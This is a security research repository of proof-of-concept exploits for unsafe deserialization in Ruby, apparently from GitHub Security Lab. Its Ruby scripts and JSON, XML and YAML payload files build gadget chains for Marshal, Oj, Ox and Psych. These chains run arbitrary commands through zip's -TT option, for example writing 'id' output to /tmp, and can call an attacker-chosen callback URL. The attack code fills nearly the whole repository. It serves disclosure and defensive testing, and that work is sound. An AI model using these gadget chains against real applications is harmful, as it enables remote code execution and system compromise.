├── .gitignore
├── LICENSE
├── README.md
├── marshal
├── 3.2.4
│ └── marshal-rce-ruby-3.2.4.rb
└── 3.4-rc
│ └── marshal-rce-ruby-3.4-rc.rb
├── oj
└── 3.3
│ ├── oj-detection-ruby-3.3.json
│ ├── oj-rce-ruby-3.3.json
│ └── oj_load.rb
├── ox
└── 3.3
│ ├── ox-detection-ruby-3.3.xml
│ ├── ox-rce-ruby-3.3.xml
│ └── ox_load.rb
└── yaml
└── 3.3
├── yaml-detection-ruby-3.3.yml
├── yaml-rce-ruby-3.3.yml
└── yaml_unsafe_load.rb
/.gitignore:
--------------------------------------------------------------------------------
1 | *.gem
2 | *.rbc
3 | /.config
4 | /coverage/
5 | /InstalledFiles
6 | /pkg/
7 | /spec/reports/
8 | /spec/examples.txt
9 | /test/tmp/
10 | /test/version_tmp/
11 | /tmp/
12 |
13 | # Used by dotenv library to load environment variables.
14 | # .env
15 |
16 | # Ignore Byebug command history file.
17 | .byebug_history
18 |
19 | ## Specific to RubyMotion:
20 | .dat*
21 | .repl_history
22 | build/
23 | *.bridgesupport
24 | build-iPhoneOS/
25 | build-iPhoneSimulator/
26 |
27 | ## Specific to RubyMotion (use of CocoaPods):
28 | #
29 | # We recommend against adding the Pods directory to your .gitignore. However
30 | # you should judge for yourself, the pros and cons are mentioned at:
31 | # https://guides.cocoapods.org/using/using-cocoapods.html#should-i-check-the-pods-directory-into-source-control
32 | #
33 | # vendor/Pods/
34 |
35 | ## Documentation cache and generated files:
36 | /.yardoc/
37 | /_yardoc/
38 | /doc/
39 | /rdoc/
40 |
41 | ## Environment normalization:
42 | /.bundle/
43 | /vendor/bundle
44 | /lib/bundler/man/
45 |
46 | # for a library or gem, you might want to ignore these files since the code is
47 | # intended to run in multiple environments; otherwise, check them in:
48 | # Gemfile.lock
49 | # .ruby-version
50 | # .ruby-gemset
51 |
52 | # unless supporting rvm < 1.11.0 or doing something fancy, ignore this:
53 | .rvmrc
54 |
55 | # Used by RuboCop. Remote config files pulled in from inherit_from directive.
56 | # .rubocop-https?--*
57 |
58 | # macOS
59 | .DS_Store
60 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 GitHub Security Lab
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Proof of Concepts for unsafe deserialization in Ruby
2 |
3 | Companion repository to the blog post: [Execute commands by sending JSON? Learn how unsafe deserialization vulnerabilities work in Ruby projects](https://github.blog/2024-06-20-execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/).
4 |
5 | The proof of concept exploits contained in this repository are largely based on the [universal gadget chain](https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html) published by [William Bowling](https://github.com/wbowling) (aka vakzz).
6 |
7 | ## Disclaimer
8 |
9 | This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
10 |
11 | ## Supported Libraries
12 |
13 | This repo contains detection and RCE PoCs for following deserialization libraries:
14 | * Oj (JSON)
15 | * Ox (XML)
16 | * Psych (YAML)
17 | * Marshall
18 |
19 | The Oj, Ox and Psych proof of concepts were observed to work up to the current Ruby 3.3.3 (released in June 2024). The PoC for Marshall was observed to work up to Ruby 3.2.4 (released in April 2024).
20 |
21 |
22 | ## Usage
23 |
24 | The subfolders for Oj, Ox and YAML contain gadget chains for the detection of an exploitable sink and remote code execution.
25 |
26 | * The **detection gadget chain** calls an URL when flowing into a vulnerable sink. For this to work the placeholder `{CALLBACK_URL}` has to be replaced with an URL which should be called (preferably under the control of the tester).
27 | * The **remote code execution (RCE) gadget chain** makes use of the `zip` command line util to run arbitrary commands (see [GTFObins](https://gtfobins.github.io/gtfobins/zip/)). Replace the placeholder `{ZIP_PARAM}` with a zip parameter that executes a command such as `-TmTT=\"$(id>/tmp/deser-poc)\"any.zip` (which will write the output of `id` to `/tmp/deser-poc`).
28 |
29 |
30 | See the Ruby files in the respective subfolders for more information.
31 |
--------------------------------------------------------------------------------
/marshal/3.2.4/marshal-rce-ruby-3.2.4.rb:
--------------------------------------------------------------------------------
1 | # Disclaimer:
2 | # This software has been created purely for the purposes of academic research and for the development of effective defensive techniques,
3 | # and is not intended to be used to attack systems except where explicitly authorized.
4 | # Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
5 |
6 | # This Ruby marshall unsafe deserialization proof of concept is originally based on: https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
7 | # It was observed to work up to Ruby 3.2.4
8 |
9 | Gem::SpecFetcher # Autoload
10 |
11 |
12 | def call_url_and_create_folder(url) # provided url should not have a query (?) component
13 | uri = URI::HTTP.allocate
14 | uri.instance_variable_set("@path", "/")
15 | uri.instance_variable_set("@scheme", "s3")
16 | uri.instance_variable_set("@host", url + "?") # use the https host+path with your rz file
17 | uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/") # c5fe... is the SHA-1 of "any"
18 | uri.instance_variable_set("@user", "any")
19 | uri.instance_variable_set("@password", "any")
20 |
21 | source = Gem::Source.allocate
22 | source.instance_variable_set("@uri", uri)
23 | source.instance_variable_set("@update_cache", true)
24 |
25 | index_spec = Gem::Resolver::IndexSpecification.allocate
26 | index_spec.instance_variable_set("@name", "name")
27 | index_spec.instance_variable_set("@source", source)
28 |
29 | request_set = Gem::RequestSet.allocate
30 | request_set.instance_variable_set("@sorted_requests", [index_spec])
31 |
32 | lockfile = Gem::RequestSet::Lockfile.allocate
33 | lockfile.instance_variable_set("@set", request_set)
34 | lockfile.instance_variable_set("@dependencies", [])
35 |
36 | return lockfile
37 | end
38 |
39 | def git_gadget(executable, second_param)
40 | git_source = Gem::Source::Git.allocate
41 | git_source.instance_variable_set("@git", executable)
42 | git_source.instance_variable_set("@reference", second_param)
43 | git_source.instance_variable_set("@root_dir", "/tmp")
44 | git_source.instance_variable_set("@repository", "any")
45 | git_source.instance_variable_set("@name", "any")
46 |
47 | spec = Gem::Resolver::Specification.allocate
48 | spec.instance_variable_set("@name", "any")
49 | spec.instance_variable_set("@dependencies",[])
50 |
51 | git_spec = Gem::Resolver::GitSpecification.allocate
52 | git_spec.instance_variable_set("@source", git_source)
53 | git_spec.instance_variable_set("@spec", spec)
54 |
55 | spec_specification = Gem::Resolver::SpecSpecification.allocate
56 | spec_specification.instance_variable_set("@spec", git_spec)
57 |
58 | return spec_specification
59 | end
60 |
61 | def command_gadget(zip_param_to_execute)
62 | git_gadget_create_zip = git_gadget("zip", "/etc/passwd")
63 | git_gadget_execute_cmd = git_gadget("zip", zip_param_to_execute)
64 |
65 | request_set = Gem::RequestSet.allocate
66 | request_set.instance_variable_set("@sorted_requests", [git_gadget_create_zip, git_gadget_execute_cmd])
67 |
68 | lockfile = Gem::RequestSet::Lockfile.allocate
69 | lockfile.instance_variable_set("@set", request_set)
70 | lockfile.instance_variable_set("@dependencies",[])
71 |
72 | return lockfile
73 | end
74 |
75 | def to_s_wrapper(inner)
76 | spec = Gem::Specification.new
77 | spec.instance_variable_set("@new_platform", inner)
78 | return spec
79 | end
80 |
81 | def create_rce_gadget_chain(rz_url_to_load, zip_param_to_execute)
82 | create_folder_gadget = call_url_and_create_folder(rz_url_to_load)
83 | exec_gadget = command_gadget(zip_param_to_execute)
84 |
85 | return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(create_folder_gadget), to_s_wrapper(exec_gadget)])
86 | end
87 |
88 | def create_detection_gadget_chain(url)
89 | call_url_gadget = call_url_and_create_folder(url)
90 |
91 | return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)])
92 | end
93 |
94 | url = "" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component.
95 | detection_gadget_chain = create_detection_gadget_chain(url)
96 |
97 | #zip_param_to_execute = "" # replace with parameter that is provided to the zip executable and can contain a command passed to the -TT param (unzip command), for example: "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip"
98 | #rce_gadget_chain = create_rce_gadget_chain("rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz", zip_param_to_execute)
99 |
100 | puts "Detection gadget chain using callback URL #{url}:"
101 | puts detection_gadget_chain.unpack("H*")
102 |
103 | #Marshal.load(detection_gadget_chain) # caution: will trigger the detection gadget when uncommented.
104 |
--------------------------------------------------------------------------------
/marshal/3.4-rc/marshal-rce-ruby-3.4-rc.rb:
--------------------------------------------------------------------------------
1 | # Disclaimer:
2 | # This software has been created purely for the purposes of academic research and for the development of effective defensive techniques,
3 | # and is not intended to be used to attack systems except where explicitly authorized.
4 | # Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
5 |
6 | # This Ruby marshall unsafe deserialization proof of concept is originally based on: https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
7 | # It was observed to work up to Ruby 3.4-rc
8 | # The majority of this chain was taken from https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/blob/main/marshal/3.2.4/marshal-rce-ruby-3.2.4.rb
9 |
10 | # This module is required since the URI module is not defined anymore.
11 | # The assumption is that any web framework (like sinatra or rails) will require such library
12 | # Hence we can consider this gadget as "universal"
13 | require 'net/http'
14 |
15 | Gem::SpecFetcher # Autoload
16 |
17 |
18 | def call_url_and_create_folder(url) # provided url should not have a query (?) component
19 | uri = URI::HTTP.allocate
20 | uri.instance_variable_set("@path", "/")
21 | uri.instance_variable_set("@scheme", "s3")
22 | uri.instance_variable_set("@host", url + "?") # use the https host+path with your rz file
23 | uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/") # c5fe... is the SHA-1 of "any"
24 | uri.instance_variable_set("@user", "any")
25 | uri.instance_variable_set("@password", "any")
26 |
27 | source = Gem::Source.allocate
28 | source.instance_variable_set("@uri", uri)
29 | source.instance_variable_set("@update_cache", true)
30 |
31 | index_spec = Gem::Resolver::IndexSpecification.allocate
32 | index_spec.instance_variable_set("@name", "name")
33 | index_spec.instance_variable_set("@source", source)
34 |
35 | request_set = Gem::RequestSet.allocate
36 | request_set.instance_variable_set("@sorted_requests", [index_spec])
37 |
38 | lockfile = Gem::RequestSet::Lockfile.new('','','')
39 | lockfile.instance_variable_set("@set", request_set)
40 | lockfile.instance_variable_set("@dependencies", [])
41 |
42 | return lockfile
43 | end
44 |
45 | def git_gadget(executable, second_param)
46 | git_source = Gem::Source::Git.allocate
47 | git_source.instance_variable_set("@git", executable)
48 | git_source.instance_variable_set("@reference", second_param)
49 | git_source.instance_variable_set("@root_dir", "/tmp")
50 | git_source.instance_variable_set("@repository", "any")
51 | git_source.instance_variable_set("@name", "any")
52 |
53 | spec = Gem::Resolver::Specification.allocate
54 | spec.instance_variable_set("@name", "any")
55 | spec.instance_variable_set("@dependencies",[])
56 |
57 | git_spec = Gem::Resolver::GitSpecification.allocate
58 | git_spec.instance_variable_set("@source", git_source)
59 | git_spec.instance_variable_set("@spec", spec)
60 |
61 | spec_specification = Gem::Resolver::SpecSpecification.allocate
62 | spec_specification.instance_variable_set("@spec", git_spec)
63 |
64 | return spec_specification
65 | end
66 |
67 | def command_gadget(zip_param_to_execute)
68 | git_gadget_create_zip = git_gadget("zip", "/etc/passwd")
69 | git_gadget_execute_cmd = git_gadget("zip", zip_param_to_execute)
70 |
71 | request_set = Gem::RequestSet.allocate
72 | request_set.instance_variable_set("@sorted_requests", [git_gadget_create_zip, git_gadget_execute_cmd])
73 |
74 | lockfile = Gem::RequestSet::Lockfile.new('','','')
75 | lockfile.instance_variable_set("@set", request_set)
76 | lockfile.instance_variable_set("@dependencies",[])
77 |
78 | return lockfile
79 | end
80 |
81 |
82 | # This is the major change compared to the other gadget.
83 | # Essentially the Gem::Specification is calling safe_load which blocks the execution of the chain.
84 | # Since we need a gadget that calls to_s from (marshal)_load, i've opted for Gem::Version
85 | # The only problem with this is the fact that it throws an error, hence two separate load are required.
86 | def to_s_wrapper(inner)
87 | spec = Gem::Version.allocate
88 | spec.instance_variable_set("@version", inner)
89 | # spec = Gem::Specification.new
90 | # spec.instance_variable_set("@new_platform", inner)
91 | return spec
92 | end
93 |
94 | # RCE
95 | def create_rce_gadget_chain(zip_param_to_execute)
96 | exec_gadget = command_gadget(zip_param_to_execute)
97 |
98 | return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(exec_gadget)])
99 | end
100 |
101 | # detection / folder creation
102 | def create_detection_gadget_chain(url)
103 | call_url_gadget = call_url_and_create_folder(url)
104 |
105 | return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)])
106 | end
107 |
108 | url = "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component.
109 | detection_gadget_chain = create_detection_gadget_chain(url)
110 |
111 | # begin
112 | # Marshal.load(detection_gadget_chain)
113 | # rescue
114 | # end
115 |
116 | puts detection_gadget_chain.unpack("H*")
117 |
118 | # You can comment from here if you want to simply detect the presence of the vulnerability.
119 | zip_param_to_execute = "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip" # replace with -TmTT=\"$(id>/tmp/marshal-poc)\"any.zip
120 | rce_gadget_chain = create_rce_gadget_chain(zip_param_to_execute)
121 |
122 | puts rce_gadget_chain.unpack("H*")
123 |
124 | # Marshal.load(rce_gadget_chain)
125 |
--------------------------------------------------------------------------------
/oj/3.3/oj-detection-ruby-3.3.json:
--------------------------------------------------------------------------------
1 | {
2 | "^#1": [
3 | [ { "^c": "Gem::SpecFetcher" },
4 | { "^o": "Gem::Requirement",
5 | "requirements": [
6 | ["~>",
7 | { "^o": "Gem::RequestSet::Lockfile",
8 | "set": {
9 | "^o": "Gem::RequestSet",
10 | "sorted_requests": [
11 | { "^o": "Gem::Resolver::IndexSpecification",
12 | "source": {
13 | "^o": "Gem::Source",
14 | "uri": {
15 | "^o": "URI::HTTP",
16 | "host": "{CALLBACK_URL}?",
17 | "port": "any",
18 | "scheme": "s3", "path": "/", "user": "any", "password": "any"
19 | }}}]},
20 | "dependencies": []
21 | }]]}
22 | ],
23 | "any"
24 | ]
25 | }
--------------------------------------------------------------------------------
/oj/3.3/oj-rce-ruby-3.3.json:
--------------------------------------------------------------------------------
1 | {
2 | "^#1": [
3 | [
4 | {
5 | "^c": "Gem::SpecFetcher"
6 | },
7 | {
8 | "^o": "Gem::Requirement",
9 | "requirements": [
10 | [
11 | "~>",
12 | {
13 | "^o": "Gem::RequestSet::Lockfile",
14 | "set": {
15 | "^o": "Gem::RequestSet",
16 | "sorted_requests": [
17 | {
18 | "^o": "Gem::Resolver::IndexSpecification",
19 | "name": "name",
20 | "source": {
21 | "^o": "Gem::Source",
22 | "uri": {
23 | "^o": "URI::HTTP",
24 | "path": "/",
25 | "scheme": "s3",
26 | "host": "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz?",
27 | "port": "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/",
28 | "user": "user",
29 | "password": "password"
30 | },
31 | "update_cache": true
32 | }
33 | }
34 | ]
35 | },
36 | "dependencies": []
37 | }
38 | ]
39 | ]
40 | },
41 | {
42 | "^o": "Gem::Requirement",
43 | "requirements": [
44 | [
45 | "~>",
46 | {
47 | "^o": "Gem::RequestSet::Lockfile",
48 | "set": {
49 | "^o": "Gem::RequestSet",
50 | "sorted_requests": [
51 | {
52 | "^o": "Gem::Resolver::SpecSpecification",
53 | "spec": {
54 | "^o": "Gem::Resolver::GitSpecification",
55 | "source": {
56 | "^o": "Gem::Source::Git",
57 | "git": "zip",
58 | "reference": "/etc/passwd",
59 | "root_dir": "/tmp",
60 | "repository": "any",
61 | "name": "any"
62 | },
63 | "spec": {
64 | "^o": "Gem::Resolver::Specification",
65 | "name": "name",
66 | "dependencies": []
67 | }
68 | }
69 | },
70 | {
71 | "^o": "Gem::Resolver::SpecSpecification",
72 | "spec": {
73 | "^o": "Gem::Resolver::GitSpecification",
74 | "source": {
75 | "^o": "Gem::Source::Git",
76 | "git": "zip",
77 | "reference": "{ZIP_PARAM}",
78 | "root_dir": "/tmp",
79 | "repository": "any",
80 | "name": "any"
81 | },
82 | "spec": {
83 | "^o": "Gem::Resolver::Specification",
84 | "name": "name",
85 | "dependencies": []
86 | }
87 | }
88 | }
89 | ]
90 | },
91 | "dependencies": []
92 | }
93 | ]
94 | ]
95 | }
96 | ],
97 | "any"
98 | ]
99 | }
--------------------------------------------------------------------------------
/oj/3.3/oj_load.rb:
--------------------------------------------------------------------------------
1 | # Disclaimer:
2 | # This software has been created purely for the purposes of academic research and for the development of effective defensive techniques,
3 | # and is not intended to be used to attack systems except where explicitly authorized.
4 | # Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
5 |
6 | require "oj"
7 | require "uri" # Works without this import in Ruby 3.3.0, not loaded anymore in Ruby 3.3.1 and later => already loaded in web frameworks such as Ruby on Rails.
8 |
9 | # Standalone usage:
10 | # gem install oj
11 | # Replace {CALLBACK_URL} placeholder in oj-detection-ruby-3.3.json with URL for callback, such as test.example.org/path, url should not have a query (?) component.
12 | # ruby oj_load.rb oj-detection-ruby-3.3.json
13 |
14 | Oj.load(File.read(ARGV[0])) # Attention: this triggers the execution of the gadget chain in the file provided.
15 |
--------------------------------------------------------------------------------
/ox/3.3/ox-detection-ruby-3.3.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | ~>
8 |
9 |
10 |
11 |
12 | name
13 |
14 |
15 | /
16 | s3
17 | {CALLBACK_URL}?
18 | any
19 | any
20 | any
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 | any
34 |
35 |
--------------------------------------------------------------------------------
/ox/3.3/ox-rce-ruby-3.3.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | ~>
8 |
9 |
10 |
11 |
12 | name
13 |
14 |
15 | /
16 | s3
17 | rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz?
18 | /../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/
19 | any
20 | any
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 | ~>
36 |
37 |
38 |
39 |
40 |
41 |
42 | zip
43 | /etc/passwd
44 | /tmp
45 | any
46 | any
47 |
48 |
49 | name
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 | zip
58 | {ZIP_PARAM}
59 | /tmp
60 | any
61 | any
62 |
63 |
64 | name
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 | any
78 |
79 |
--------------------------------------------------------------------------------
/ox/3.3/ox_load.rb:
--------------------------------------------------------------------------------
1 | # Disclaimer:
2 | # This software has been created purely for the purposes of academic research and for the development of effective defensive techniques,
3 | # and is not intended to be used to attack systems except where explicitly authorized.
4 | # Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
5 |
6 | require "ox"
7 | require "uri" # Works without this import in Ruby 3.3.0, not loaded anymore in Ruby 3.3.1 and later => already loaded in web frameworks such as Ruby on Rails.
8 |
9 | # Standalone usage:
10 | # gem install ox
11 | # Replace {CALLBACK_URL} placeholder in ox-detection-ruby-3.3.xml with URL for callback, such as test.example.org/path, url should not have a query (?) component. (might require the usage of entities such as >)
12 | # ruby ox_load.rb ox-detection-ruby-3.3.xml
13 |
14 | Ox.parse_obj(File.read(ARGV[0])) # Attention: this triggers the execution of the gadget chain in the file provided.
15 |
--------------------------------------------------------------------------------
/yaml/3.3/yaml-detection-ruby-3.3.yml:
--------------------------------------------------------------------------------
1 | - !ruby/class 'Gem::SpecFetcher'
2 | - ? !ruby/object:Gem::Requirement
3 | requirements:
4 | - - "~>"
5 | - !ruby/object:Gem::RequestSet::Lockfile
6 | set: !ruby/object:Gem::RequestSet
7 | sorted_requests:
8 | - !ruby/object:Gem::Resolver::IndexSpecification
9 | name: name
10 | source: !ruby/object:Gem::Source
11 | uri: !ruby/object:URI::HTTP
12 | path: "/"
13 | scheme: s3
14 | host: {CALLBACK_URL}?
15 | port: "any"
16 | user: any
17 | password: any
18 | update_cache: true
19 | dependencies: []
20 | : any
21 |
--------------------------------------------------------------------------------
/yaml/3.3/yaml-rce-ruby-3.3.yml:
--------------------------------------------------------------------------------
1 | - !ruby/class 'Gem::SpecFetcher'
2 | - ? !ruby/object:Gem::Requirement
3 | requirements:
4 | - - "~>"
5 | - !ruby/object:Gem::RequestSet::Lockfile
6 | set: !ruby/object:Gem::RequestSet
7 | sorted_requests:
8 | - !ruby/object:Gem::Resolver::IndexSpecification
9 | name: name
10 | source: !ruby/object:Gem::Source
11 | uri: !ruby/object:URI::HTTP
12 | path: "/"
13 | scheme: s3
14 | host: rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz?
15 | port: "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/"
16 | user: any
17 | password: any
18 | update_cache: true
19 | dependencies: []
20 | : any
21 | - ? !ruby/object:Gem::Requirement
22 | requirements:
23 | - - "~>"
24 | - !ruby/object:Gem::RequestSet::Lockfile
25 | set: !ruby/object:Gem::RequestSet
26 | sorted_requests:
27 | - !ruby/object:Gem::Resolver::SpecSpecification
28 | spec: !ruby/object:Gem::Resolver::GitSpecification
29 | source: !ruby/object:Gem::Source::Git
30 | git: zip
31 | reference: "/etc/passwd"
32 | root_dir: "/tmp"
33 | repository: any
34 | name: any
35 | spec: !ruby/object:Gem::Resolver::Specification
36 | name: name
37 | dependencies: []
38 | - !ruby/object:Gem::Resolver::SpecSpecification
39 | spec: !ruby/object:Gem::Resolver::GitSpecification
40 | source: !ruby/object:Gem::Source::Git
41 | git: zip
42 | reference: "{ZIP_PARAM}"
43 | root_dir: "/tmp"
44 | repository: any
45 | name: any
46 | spec: !ruby/object:Gem::Resolver::Specification
47 | name: name
48 | dependencies: []
49 | dependencies: []
50 | : any
51 |
--------------------------------------------------------------------------------
/yaml/3.3/yaml_unsafe_load.rb:
--------------------------------------------------------------------------------
1 | # Disclaimer:
2 | # This software has been created purely for the purposes of academic research and for the development of effective defensive techniques,
3 | # and is not intended to be used to attack systems except where explicitly authorized.
4 | # Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
5 |
6 | require "yaml"
7 | require "uri" # Works without this import in Ruby 3.3.0, not loaded anymore in Ruby 3.3.1 and later => already loaded in web frameworks such as Ruby on Rails.
8 |
9 | # Standalone usage:
10 | # Replace {CALLBACK_URL} placeholder in yaml-detection-ruby-3.3.yml with URL for callback, such as test.example.org/path, url should not have a query (?) component.
11 | # ruby yaml_unsafe_load.rb yaml-detection-ruby-3.3.yml
12 |
13 | YAML.unsafe_load File.read(ARGV[0]) # Attention: this triggers the execution of the gadget chain in the file provided.
--------------------------------------------------------------------------------